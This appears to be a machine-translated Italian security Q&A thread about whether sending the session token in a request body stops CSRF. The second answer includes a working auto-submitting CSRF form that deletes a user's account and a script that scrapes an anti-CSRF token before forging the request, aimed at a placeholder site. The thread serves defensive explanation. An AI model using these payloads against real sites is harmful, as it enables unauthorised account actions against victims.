Posso inserire il token di sessione nel corpo per proteggerlo da CSRF? [duplicare]

1

Dire che ho un utente con un token di sessione associato. Questo utente vuole cancellare il suo account, e così va al suo link associato. Io, cercando di proteggere me e i miei utenti dagli attacchi CSRF, è così quando l'utente fa clic su un collegamento e fa la richiesta DELETE, invio il token di sessione dell'utente nel corpo della richiesta. Qualunque altro sito non potrebbe conoscere il cookie di sessione e pertanto non è stato possibile inviarlo nel corpo della richiesta. Sul lato ricevente, il server controlla che il cookie di sessione e il token di sessione nel corpo siano gli stessi.

Perché non funziona? Le spiegazioni che ho ascoltato sono state molto più intricate e non riesco a capire perché il processo di cui sopra non funzionerebbe. So che devo trascurare qualcosa!

    
posta NaN 06.09.2018 - 04:30
fonte

2 risposte

2

Nozioni di base sulla protezione CSRF

La maggior parte dei meccanismi di protezione CSRF funziona basandosi sul principio che il modulo HTML viene inviato e che il server deve avere segreti condivisi tra di loro. Quando il modulo viene inviato al server, questo segreto condiviso viene utilizzato per identificare se la richiesta è originata da una pagina legittima. Non esiste alcun modo per i siti malevoli di accedere a questo segreto condiviso se è presente nel corpo della richiesta. (Ovviamente i cookie non possono essere utilizzati per memorizzare questo segreto mentre i browser li trasmettono al dominio di destinazione indipendentemente dall'origine della pagina.)

Cookie inviato doppio

Il metodo di prevenzione che hai descritto è chiamato doppio cookie inviato . In questo il segreto condiviso viene inviato utilizzando sia il cookie sia il parametro del modulo. Il server deve solo confrontare i due valori per filtrare le richieste forgiate.

Perché non funziona?

Funziona. Il token di sessione è davvero un segreto condiviso tra il browser e il server. Tuttavia, il compito principale del token di sessione è tracciare la sessione autenticata dell'utente. Un token di sessione presente nel cookie è protetto da flag di cookie come HTTPonly. Ciò impedisce a JavaScript di accedere al cookie di sessione, che a sua volta impedisce il furto dell'ID di sessione in caso di una vulnerabilità XSS.

Avere il token di sessione nel corpo della richiesta di ogni modulo HTML aumenta la superficie di attacco poiché il token di sessione può essere estratto sfruttando una vulnerabilità di script injection. Quindi è buona norma avere un token CSRF dedicato per fare il lavoro.

    
risposta data 06.09.2018 - 06:35
fonte
0

Ecco un esempio di base CSRF.

<form name="Delete-account-confirmation" action="http://example.com/profile.php?action=deleteprofile" method="post" enctype="multipart/form-data">
<input type="hidden" name="Username" value="DonaldT">
<input type="hidden" name="Checkbox-confirmation" value="on">
</form>

<script>document.Delete-account-confirmation.submit()</script>

Nota: Utilizzare un sito Web di terze parti non è obbligatorio per gli attacchi CSRF, puoi fare qualche danno solo con <img src="CSRF" />

why doesn't this work?

Diciamo che example.com è un forum. Questo forum consente agli utenti registrati di inviare pm ad altri utenti registrati. Quindi, come attaccante, posso provare a offuscare il CSRF e inviarlo tramite PM all'utente che voglio danneggiare, e fargli eseguire il codice malevolo indipendentemente dalla sua volontà.

Nel codice sopra Victim is DonaldT.

Quindi invio questo malevolo PM a DonaldT, apre il messaggio ed esegue il codice mentre si è loggato nel example.com. Il cookie di sessione e il token di sessione saranno diversi? Sì, in questo caso, il tuo sistema di prevenzione dovrebbe funzionare.

Tuttavia, a seconda dell'implementazione del token Anti-CSRF, se scarso l'implementazione è , potrebbe essere elusa da qualcosa di simile:

Attacco CSRF di evasione token

   <body onload="get()">

    <form name="Delete-account-confirmation" action="http://example.com/profile.php?action=deleteprofile" method="post" enctype="multipart/form-data">
      <input type="hidden" name="Username" value="DonaldT">
      <input type="hidden" name="Checkbox-confirmation" value="on">
      <input type="hidden" id="forged-token" name="token" value=""/>
      <input type="submit" value="go"/>
    </form>

   <script>
    var x = new XMLHttpRequest();
    function get() {
      x.open("GET","?action=deleteprofile",true);
      x.send(null); 
    }
    x.onreadystatechange = function() {
      if (x.readyState == XMLHttpRequest.DONE) {
        var token = x.responseText.match(/name="token" value="(.+)"/)[1];
        document.getElementById("forged-token").value = token;
        document.getElementById("Delete-account-confirmation").submit();
      }
    }
   </script>

Fonte esterna ti consiglio di leggere.

owasp

Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

    
risposta data 06.09.2018 - 05:52
fonte

Leggi altre domande sui tag